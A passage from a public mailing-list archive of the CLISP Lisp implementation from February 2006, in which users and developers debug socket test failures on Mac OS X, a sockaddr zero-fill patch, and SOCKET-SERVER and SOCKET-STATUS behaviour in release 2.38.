12:25:21 -0800 Received: from sccrmhc11.comcast.net ([204.127.200.81]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1F96jd-0006Cr-1h for clisp-list@lists.sourceforge.net; Tue, 14 Feb 2006 12:25:21 -0800 Received: from [192.168.0.100] (c-68-35-95-170.hsd1.nm.comcast.net[68.35.95.170]) by comcast.net (sccrmhc11) with SMTP id <20060214202456011000j46ne>; Tue, 14 Feb 2006 20:24:56 +0000 User-Agent: Microsoft-Entourage/11.2.1.051004 Subject: Re: [clisp-list] Re: Mac OS X make check From: Joe Koski To: clisp list Message-ID: Thread-Topic: [clisp-list] Re: Mac OS X make check Thread-Index: AcYxpLi290azD52XEdq7ogAKlbaO5g== In-Reply-To: <5F9130612D07074EB0A0CE7E69FD7A030873084B@S4DE8PSAAGS.blf.telekom.de> Mime-version: 1.0 Content-type: text/plain; charset="US-ASCII" Content-transfer-encoding: 7bit X-Spam-Score: 0.5 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.5 FROM_ENDS_IN_NUMS From: ends in numbers Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Feb 14 12:26:07 2006 X-Original-Date: Tue, 14 Feb 2006 13:24:57 -0700 on 2/14/06 11:05 AM, Hoehle, Joerg-Cyril at Joerg-Cyril.Hoehle@t-systems.com wrote: > Joe, > > could you please check Sam's comment below? It seems the Mac situation is not > that easy. > I'm surprised because I understood that you had used the clisp-2.38 release, > watched the socket tests fail, applied the single patch from the CVS tree and > saw everything work fine. However this CVS patch is not at all Sam > Steingold's patch below! > What version of CLISP did you use exactly? > Could do perform Sam's test below? > > Thanks for your help, > Jorg Hohle. Joerg, Your synopsis of what I did is correct. I did not patch sockets.d, only stream.d, and my problems went away. I could not get Sam Steingold's patch from the e-mail to work because of patch errors, so I abandoned it. I would not be surprised to see that a different or additional patch is required for 10.4.x. This has happened before with other open source packages. (It's the main reason I still run 10.3.9.) Apple keeps changing their Xcode developer tools, including gcc, because they build OS X with it and Apple and others build commercial applications with it. Most often, build problems are with linking and loading because of Apple's continuing changes to the gcc back end. I'll try Sam's test by rebuilding clisp in a separate directory and report. I don't want to change my newly installed clisp-2.38/maxima-5.9.2 configuration that works. In the maxima build with clisp-2.38, I encountered only minor problems not related to clisp, and the new maxima passes "make check" without problems. Joe > > -----Ursprungliche Nachricht----- > Von: Sam Steingold [mailto:sds@gnu.org] > Gesendet: Dienstag, 14. Februar 2006 18:53 > An: Hohle, Jorg-Cyril > Betreff: Re: fwd: [clisp-list] Re: Mac OS X make check > > > Jorg, > no so fast. > I did not commit the appended patch because the osx users did not do > the testing I asked them to do. > this means that the old broken osx still has broken clisp and if Joe > Koski does not require the appended patch this just means that OS X > 10.3.9 is good while OS X 10.4.3 is broken. > it is up to you to check in my appended patch or not, but I recommend > against it unless all OS X users do to the following tests (requested on > clisp-list and clisp-devel many times): > 0. record OS version. > 1. make sure that sockets break without the patch by running > ./clisp -norc -i tests/tests -x '(run-test "tests/socket")' > 2. apply the patch, make sure the test works > 3. modify socket.d and replace "0" with "1" in > #define FILL0(s) memset((void*)&s,0,sizeof(s)) > so that it reads > #define FILL0(s) memset((void*)&s,1,sizeof(s)) > and make sure that the test fails in an identical way to <1> above. > > when you gather the results of these tests, you will know which OS X > versions need it and which do not, and you should record that in the > long comment in socket.d before the FILL0 definition. From jkoski11@comcast.net Tue Feb 14 14:21:19 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1F98Xu-0003l9-RM for clisp-list@lists.sourceforge.net; Tue, 14 Feb 2006 14:21:18 -0800 Received: from sccrmhc13.comcast.net ([204.127.200.83]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1F98Xq-0005eL-Ti for clisp-list@lists.sourceforge.net; Tue, 14 Feb 2006 14:21:18 -0800 Received: from [192.168.0.100] (c-68-35-95-170.hsd1.nm.comcast.net[68.35.95.170]) by comcast.net (sccrmhc13) with SMTP id <20060214222107013004cgtte>; Tue, 14 Feb 2006 22:21:07 +0000 User-Agent: Microsoft-Entourage/11.2.1.051004 Subject: Re: [clisp-list] Re: Mac OS X make check From: Joe Koski To: clisp list Message-ID: Thread-Topic: [clisp-list] Re: Mac OS X make check Thread-Index: AcYxtPPAMmekU52oEdqUbwAKlbaO5g== In-Reply-To: <5F9130612D07074EB0A0CE7E69FD7A030873084B@S4DE8PSAAGS.blf.telekom.de> Mime-version: 1.0 Content-type: text/plain; charset="US-ASCII" Content-transfer-encoding: 7bit X-Spam-Score: 0.5 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.5 FROM_ENDS_IN_NUMS From: ends in numbers Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Feb 14 14:22:02 2006 X-Original-Date: Tue, 14 Feb 2006 15:21:08 -0700 on 2/14/06 11:05 AM, Hoehle, Joerg-Cyril at Joerg-Cyril.Hoehle@t-systems.com wrote: > Joe, > > could you please check Sam's comment below? It seems the Mac situation is not > that easy. > I'm surprised because I understood that you had used the clisp-2.38 release, > watched the socket tests fail, applied the single patch from the CVS tree and > saw everything work fine. However this CVS patch is not at all Sam > Steingold's patch below! > What version of CLISP did you use exactly? > Could do perform Sam's test below? > > Thanks for your help, > Jorg Hohle. > > -----Ursprungliche Nachricht----- > Von: Sam Steingold [mailto:sds@gnu.org] > Gesendet: Dienstag, 14. Februar 2006 18:53 > An: Hohle, Jorg-Cyril > Betreff: Re: fwd: [clisp-list] Re: Mac OS X make check > > > Jorg, > no so fast. > I did not commit the appended patch because the osx users did not do > the testing I asked them to do. > this means that the old broken osx still has broken clisp and if Joe > Koski does not require the appended patch this just means that OS X > 10.3.9 is good while OS X 10.4.3 is broken. > it is up to you to check in my appended patch or not, but I recommend > against it unless all OS X users do to the following tests (requested on > clisp-list and clisp-devel many times): > 0. record OS version. > 1. make sure that sockets break without the patch by running > ./clisp -norc -i tests/tests -x '(run-test "tests/socket")' > 2. apply the patch, make sure the test works > 3. modify socket.d and replace "0" with "1" in > #define FILL0(s) memset((void*)&s,0,sizeof(s)) > so that it reads > #define FILL0(s) memset((void*)&s,1,sizeof(s)) > and make sure that the test fails in an identical way to <1> above. > > when you gather the results of these tests, you will know which OS X > versions need it and which do not, and you should record that in the > long comment in socket.d before the FILL0 definition. Jorg, Sam, I created a separate test directory and rebuilt clisp-2.38 on my Mac OS X 10.3.9 with Xcode tools 1.5 (Apple's gcc-3.3). The first build went as before. When I tried: ./clisp -norc -i tests/tests -x '(run-test "tests/socket")' I got: ;; Loading file /Tools/clisp-2.38-test/src/tests/tests.fas ... ;; Loaded file /Tools/clisp-2.38-test/src/tests/tests.fas RUN-TEST: started # *** - invalid byte #xC3 in CHARSET:ASCII conversion Bye. Which did not look correct, so I did a full make check and go the usual "32 errors out of 60 tests". (The error in ./clisp -norc -i tests/tests -x '(run-test "tests/socket")' was consistent after all rebuilds, regardless of what happened with "make check".) When I applied the socket.d patch attached to Sam's e-mail, with #define FILL0(s) memset((void*)&s,0,sizeof(s)), deleted socket.o and redid make, I got "0 errors out of 60 tests" In other words, success. Then I changed to #define FILL0(s) memset((void*)&s,1,sizeof(s)), and I went back to "32 errors out of 60 tests". That's what I saw. I hope that it helps. It seems that Sam's socket.d patch will work on my system, and if it works on 10.4.x, then only one patch is required. I don't know why the stream.d patch worked, but it got me going. Thanks. I'll keep the test directory for a few days. Let me know if there are other tests. Joe From Joerg-Cyril.Hoehle@t-systems.com Wed Feb 15 07:25:14 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1F9OWo-00024O-A4 for clisp-list@lists.sourceforge.net; Wed, 15 Feb 2006 07:25:14 -0800 Received: from tcmail33.telekom.de ([217.6.95.240]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1F9OWm-0007Ce-QB for clisp-list@lists.sourceforge.net; Wed, 15 Feb 2006 07:25:14 -0800 Received: from S4DE8PSAANQ.mitte.t-com.de by tcmail31.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Wed, 15 Feb 2006 16:24:58 +0100 Received: by S4DE8PSAANQ.blf.telekom.de with Internet Mail Service (5.5.2653.19) id <15YK99FW>; Wed, 15 Feb 2006 16:24:58 +0100 Message-Id: <5F9130612D07074EB0A0CE7E69FD7A0308730F80@S4DE8PSAAGS.blf.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Subject: [clisp-list] Re: Mac OS X make check MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Feb 15 07:26:04 2006 X-Original-Date: Wed, 15 Feb 2006 16:24:56 +0100 Joe Koski wrote: >I created a separate test directory and rebuilt clisp-2.38 on >my Mac OS X 10.3.9 with Xcode tools 1.5 (Apple's gcc-3.3). Thank you for your effort and data point. [...] >I hope that it helps. It seems that Sam's socket.d patch >will work on my system, and if it works on 10.4.x, then only >one patch is >required. I don't know why the stream.d patch worked, but it >got me going. If I understand you well, *either* one of a) the past-2.38 CVS patch to stream.d *or* b) Sam's FILL0 patch attachment to socket.d causes the test failure count to go down from 32 to 0!?! Quiet weird at a first glance. Thanks again for reporting this. Do other Mac users (e.g. on OS X 10.4.y) observe similar behaviour? Regards, Jorg Hohle. From jkoski11@comcast.net Wed Feb 15 15:44:33 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1F9WK1-00059b-Dv for clisp-list@lists.sourceforge.net; Wed, 15 Feb 2006 15:44:33 -0800 Received: from sccrmhc13.comcast.net ([63.240.77.83]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1F9WK0-0006CE-AV for clisp-list@lists.sourceforge.net; Wed, 15 Feb 2006 15:44:33 -0800 Received: from [192.168.0.100] (c-68-35-95-170.hsd1.nm.comcast.net[68.35.95.170]) by comcast.net (sccrmhc13) with SMTP id <20060215234425013004iiqse>; Wed, 15 Feb 2006 23:44:25 +0000 User-Agent: Microsoft-Entourage/11.2.1.051004 From: Joe Koski To: clisp list Message-ID: Thread-Topic: Equivalent fot getenv Thread-Index: AcYyicAD/txHD558EdqDLQAKlbaO5g== In-Reply-To: <8406CF44-E8E0-4D96-941D-EDB9378DFC06@apple.com> Mime-version: 1.0 Content-type: text/plain; charset="US-ASCII" Content-transfer-encoding: 7bit X-Spam-Score: 0.5 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.5 FROM_ENDS_IN_NUMS From: ends in numbers Subject: [clisp-list] FW: Equivalent fot getenv Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Feb 15 15:45:20 2006 X-Original-Date: Wed, 15 Feb 2006 16:44:24 -0700 Jorg, Sam, Some comments at the end from the Apple side of the house. Could this explain why the stream.d fix worked? Joe ------ Forwarded Message From: Terry Lambert Date: Wed, 15 Feb 2006 14:26:49 -0800 To: Joe Koski Cc: unix-porting list Subject: Re: Equivalent fot getenv On Feb 15, 2006, at 8:54 AM, Joe Koski wrote: > on 2/12/06 1:49 PM, Joe Koski at jkoski11@comcast.net wrote: >> Thanks Kaelin. >> >> After reading your e-mail, I decided that the make file should work >> as is >> and without changes, so I exported an ORGANIZATION= (just in case) >> and ran >> make, which completed without errors, and did "make check" again. >> Now all my >> errors are in one test routine called "socket" with 32 errors out >> of 60 >> tests. All of several thousand other "make check" tests are OK. >> This sounds >> like I need to ask the clisp folks about what's happening. I'll >> report back >> only if it is Mac OS relevant. >> >> Joe >> > > The clisp-2.38 folks were aware of the "socket" problem, which they > claim is > because "Older BSDs (specifically, Mac OS X 10.4.3) require that > sockaddr is > filled with 0 before use (i.e., unused fields must be 0)". They have > a patch > in case anyone wants to try it with OS X 10.4.x. Their patch works > with my > OS X 10.3.9. My maxima-5.9.2, which is why I needed clisp, also > works as > advertised. FWIW, the fields are *NOT* unused in case of simultaneous initiation of a TCP connection, per RFC 793, page 31, figure 8. Some TCP state machines are insufficiently complex to handle this case correctly. I guess it would be possible to modify the MacOS X state machine to work in all cases but that particular one, with uninitialized field contents, but it's probably better to zero the structures. -- Terry ------ End of Forwarded Message From don-sourceforge-xx@isis.cs3-inc.com Fri Feb 17 16:11:59 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FAFhe-0001bN-7L for clisp-list@lists.sourceforge.net; Fri, 17 Feb 2006 16:11:58 -0800 Received: from h-66-166-0-98.lsanca54.covad.net ([66.166.0.98] helo=isis.cs3-inc.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1FAFha-0001sh-Rq for clisp-list@lists.sourceforge.net; Fri, 17 Feb 2006 16:11:57 -0800 Received: by isis.cs3-inc.com (Postfix, from userid 501) id 5107C1A81CC; Fri, 17 Feb 2006 16:11:55 -0800 (PST) From: don-sourceforge-xx@isis.cs3-inc.com (Don Cohen) To: clisp-list@lists.sourceforge.net Message-Id: <20060218001155.5107C1A81CC@isis.cs3-inc.com> X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Subject: [clisp-list] problem with socket-server in clisp 2.38 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Feb 17 16:12:05 2006 X-Original-Date: Fri, 17 Feb 2006 16:11:55 -0800 (PST) The default, unlike impnotes claims, seems to be interface 127.0.0.1 : (SOCKET:SOCKET-SERVER 2223) # I can connect to this at 127.0.0.1 but not at the other address I exected. (SOCKET:SOCKET-SERVER 2224 :interface "0.0.0.0") *** - UNIX error 98 (EADDRINUSE): Address already in use Interestingly, netstat in this case tells me that I actually now HAVE that port and that it is open to 0.0.0.0. But that's not very useful if I can't get the result back. (SOCKET:SOCKET-SERVER 2225 :interface "10.0.0.10") # Why is this? (SOCKET:SOCKET-SERVER 2226 :interface "foo") # That also looks like a bug to me. (lisp-implementation-version) "2.38 (2006-01-24) (built 3347122501) (memory 3349203607)" I'm doing this in linux. From Joerg-Cyril.Hoehle@t-systems.com Mon Feb 20 01:20:12 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FB7DI-00068R-JV for clisp-list@lists.sourceforge.net; Mon, 20 Feb 2006 01:20:12 -0800 Received: from mail1.telekom.de ([62.225.183.202]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1FB7DE-0003wd-5A for clisp-list@lists.sourceforge.net; Mon, 20 Feb 2006 01:20:11 -0800 Received: from S4DE8PSAANQ.mitte.t-com.de by G8SBV.dmz.telekom.de with ESMTP; Mon, 20 Feb 2006 10:18:45 +0100 Received: by S4DE8PSAANQ.blf.telekom.de with Internet Mail Service (5.5.2653.19) id ; Mon, 20 Feb 2006 10:18:12 +0100 Message-Id: <5F9130612D07074EB0A0CE7E69FD7A030886F8D4@S4DE8PSAAGS.blf.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: don-sourceforge-xx@isis.cs3-inc.com Subject: [clisp-list] problem with socket-server in clisp 2.38 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Feb 20 01:21:02 2006 X-Original-Date: Mon, 20 Feb 2006 10:18:09 +0100 Don, >The default, unlike impnotes claims, seems to be interface 127.0.0.1 : There is one patch in CVS post 2.38 which seems related. Could you try that out? http://cvs.sourceforge.net/viewcvs.py/clisp/clisp/src/stream.d?r1=1.557&r2=1.558 or http://cvs.sourceforge.net/viewcvs.py/clisp/clisp/src/stream.d?r1=1.557&r2=1.558&diff_format=u Regards, Jorg Hohle. From don-sourceforge-xx@isis.cs3-inc.com Mon Feb 20 01:23:28 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FB7GQ-0006Sk-0j for clisp-list@lists.sourceforge.net; Mon, 20 Feb 2006 01:23:26 -0800 Received: from h-66-166-0-98.lsanca54.covad.net ([66.166.0.98] helo=isis.cs3-inc.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1FB7GO-0004yF-Ra for clisp-list@lists.sourceforge.net; Mon, 20 Feb 2006 01:23:26 -0800 Received: by isis.cs3-inc.com (Postfix, from userid 501) id A02FF1A81CC; Mon, 20 Feb 2006 01:23:32 -0800 (PST) From: don-sourceforge-xx@isis.cs3-inc.com (Don Cohen) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <17401.35476.584506.164479@isis.cs3-inc.com> To: "Hoehle, Joerg-Cyril" Cc: clisp-list@lists.sourceforge.net Subject: [clisp-list] problem with socket-server in clisp 2.38 In-Reply-To: <5F9130612D07074EB0A0CE7E69FD7A030886F8D4@S4DE8PSAAGS.blf.telekom.de> References: <5F9130612D07074EB0A0CE7E69FD7A030886F8D4@S4DE8PSAAGS.blf.telekom.de> X-Mailer: VM 7.07 under 21.4 (patch 8) "Honest Recruiter" XEmacs Lucid X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Feb 20 01:24:05 2006 X-Original-Date: Mon, 20 Feb 2006 01:23:32 -0800 Hoehle, Joerg-Cyril writes: > Don, > > >The default, unlike impnotes claims, seems to be interface 127.0.0.1 : > There is one patch in CVS post 2.38 which seems related. > Could you try that out? Perhaps, but the default seems much less important to me than my inability to get the behavior I need. Currently I retreat to .36 in order to do that. From don-sourceforge-xx@isis.cs3-inc.com Mon Feb 20 18:20:30 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FBN8g-0003F2-MU for clisp-list@lists.sourceforge.net; Mon, 20 Feb 2006 18:20:30 -0800 Received: from h-66-166-0-98.lsanca54.covad.net ([66.166.0.98] helo=isis.cs3-inc.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1FBN8d-00035U-Df for clisp-list@lists.sourceforge.net; Mon, 20 Feb 2006 18:20:30 -0800 Received: by isis.cs3-inc.com (Postfix, from userid 501) id F397F1A81CC; Mon, 20 Feb 2006 18:20:36 -0800 (PST) From: don-sourceforge-xx@isis.cs3-inc.com (Don Cohen) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <17402.30964.820681.225903@isis.cs3-inc.com> To: clisp-list@lists.sourceforge.net In-Reply-To: <20060218042002.9A77688B0D@sc8-sf-spam1.sourceforge.net> References: <20060218042002.9A77688B0D@sc8-sf-spam1.sourceforge.net> X-Mailer: VM 7.07 under 21.4 (patch 8) "Honest Recruiter" XEmacs Lucid X-Spam-Score: 1.2 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO 0.2 UPPERCASE_25_50 message body is 25-50% uppercase Subject: [clisp-list] Another problem in 2.38 - SOCKET-STATUS Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Feb 20 18:21:03 2006 X-Original-Date: Mon, 20 Feb 2006 18:20:36 -0800 (Socket-status s 0) seems to wait when s has type (unsigned-byte 8). [1]> (setf ss (socket:socket-server 1234)) # [2]> (setf s (socket:socket-accept ss)) # [3]> (SOCKET-STATUS S 0) :OUTPUT ; 1 [4]> (setf (stream-element-type s) '(unsigned-byte 8)) (UNSIGNED-BYTE 8) [5]> (SOCKET-STATUS S 0) *** - Ctrl-C: User break The following restarts are available: ABORT :R1 ABORT Break 1 [6]> From Joerg-Cyril.Hoehle@t-systems.com Tue Feb 21 10:55:44 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FBcfo-0004CZ-G0 for clisp-list@lists.sourceforge.net; Tue, 21 Feb 2006 10:55:44 -0800 Received: from tcmail33.telekom.de ([217.6.95.240]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1FBcfn-0000OD-51 for clisp-list@lists.sourceforge.net; Tue, 21 Feb 2006 10:55:44 -0800 Received: from s4de8psaans.mitte.t-com.de by tcmail31.dmz.telekom.de with ESMTP; Tue, 21 Feb 2006 19:55:32 +0100 Received: by S4DE8PSAANS.blf.telekom.de with Internet Mail Service (5.5.2653.19) id ; Tue, 21 Feb 2006 19:55:32 +0100 Message-Id: <5F9130612D07074EB0A0CE7E69FD7A03089A31C5@S4DE8PSAAGS.blf.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: don-sourceforge-xx@isis.cs3-inc.com Subject: Re: [clisp-list] problem with socket-server in clisp 2.38 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain X-Spam-Score: 0.2 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 UPPERCASE_25_50 message body is 25-50% uppercase Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Feb 21 10:56:08 2006 X-Original-Date: Tue, 21 Feb 2006 19:55:31 +0100 Don Cohen wrote: >I'm doing this in linux. I can't reproduce this using a fresh MS-VC6 build from CVS (with 1 single typo to fix, not yet in CVS) -- but it's not Linux. > (SOCKET:SOCKET-SERVER 2223) > # [8]> (SOCKET:SOCKET-SERVER 2223) # > (SOCKET:SOCKET-SERVER 2224 :interface "0.0.0.0") [13]> (SOCKET:SOCKET-SERVER 2224 :interface "0.0.0.0") # > (SOCKET:SOCKET-SERVER 2225 :interface "10.0.0.10") > # [15]> (SOCKET:SOCKET-SERVER 2224 :interface "10.x.y.z") # > (SOCKET:SOCKET-SERVER 2226 :interface "foo") > # [16]> (SOCKET:SOCKET-SERVER 2226 :interface "foo") [after a small delay ~ 1 second:] # Is that to be expected?? > (lisp-implementation-version) > "2.38 (2006-01-24) (built 3347122501) (memory 3349203607)" [17]> (lisp-implementation-version) "2.38 (2006-01-24) (built 3349519042) (memory 3349533052)" I'll see how this works out on Linux asap. Regards, Jorg Hohle. From don-sourceforge-xx@isis.cs3-inc.com Tue Feb 21 11:19:10 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FBd2Q-00073Z-BF for clisp-list@lists.sourceforge.net; Tue, 21 Feb 2006 11:19:06 -0800 Received: from h-66-166-0-98.lsanca54.covad.net ([66.166.0.98] helo=isis.cs3-inc.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1FBd2O-00017e-Su for clisp-list@lists.sourceforge.net; Tue, 21 Feb 2006 11:19:06 -0800 Received: by isis.cs3-inc.com (Postfix, from userid 501) id 5CABD1A81CC; Tue, 21 Feb 2006 11:19:01 -0800 (PST) From: don-sourceforge-xx@isis.cs3-inc.com (Don Cohen) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <17403.26533.319769.192274@isis.cs3-inc.com> To: "Hoehle, Joerg-Cyril" Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] problem with socket-server in clisp 2.38 In-Reply-To: <5F9130612D07074EB0A0CE7E69FD7A03089A31C5@S4DE8PSAAGS.blf.telekom.de> References: <5F9130612D07074EB0A0CE7E69FD7A03089A31C5@S4DE8PSAAGS.blf.telekom.de> X-Mailer: VM 7.07 under 21.4 (patch 8) "Honest Recruiter" XEmacs Lucid X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Feb 21 11:20:04 2006 X-Original-Date: Tue, 21 Feb 2006 11:19:01 -0800 Hoehle, Joerg-Cyril writes: > Don Cohen wrote: > > >I'm doing this in linux. > I can't reproduce this using a fresh MS-VC6 build from CVS > (with 1 single typo to fix, not yet in CVS) -- but it's not Linux. It now occurs to me that the patch you mentioned might indeed fix the problem. I may have misinterpreted your reply as meaning that the patch affected the default. The fact that supplying the value I wanted still didn't work suggested to me that changing the default was not enough. > > (SOCKET:SOCKET-SERVER 2223) > > # > [8]> (SOCKET:SOCKET-SERVER 2223) > # > > > (SOCKET:SOCKET-SERVER 2224 :interface "0.0.0.0") > [13]> (SOCKET:SOCKET-SERVER 2224 :interface "0.0.0.0") > # > > > (SOCKET:SOCKET-SERVER 2225 :interface "10.0.0.10") > > # Why is this the right result? Is the argument invalid? (If so, why?) Even if it is, it seems to me that an error would be more appropriate. > [15]> (SOCKET:SOCKET-SERVER 2224 :interface "10.x.y.z") > # What does that mean? In general what does this interface argument mean? I'd have expected something that specifies a set of addresses. My best interpretation was that 0.0.0.0 was a special case meaning any and that anything else specified a singleton set. > > (SOCKET:SOCKET-SERVER 2226 :interface "foo") > > # > [16]> (SOCKET:SOCKET-SERVER 2226 :interface "foo") > [after a small delay ~ 1 second:] > # > Is that to be expected?? Again, why does this make sense? If the argument is invalid shouldn't you get an error? > > (lisp-implementation-version) > > "2.38 (2006-01-24) (built 3347122501) (memory 3349203607)" > [17]> (lisp-implementation-version) > "2.38 (2006-01-24) (built 3349519042) (memory 3349533052)" > > I'll see how this works out on Linux asap. > > Regards, > Jorg Hohle. From don-sourceforge-xx@isis.cs3-inc.com Tue Feb 21 11:33:23 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FBdGF-0000B3-87 for 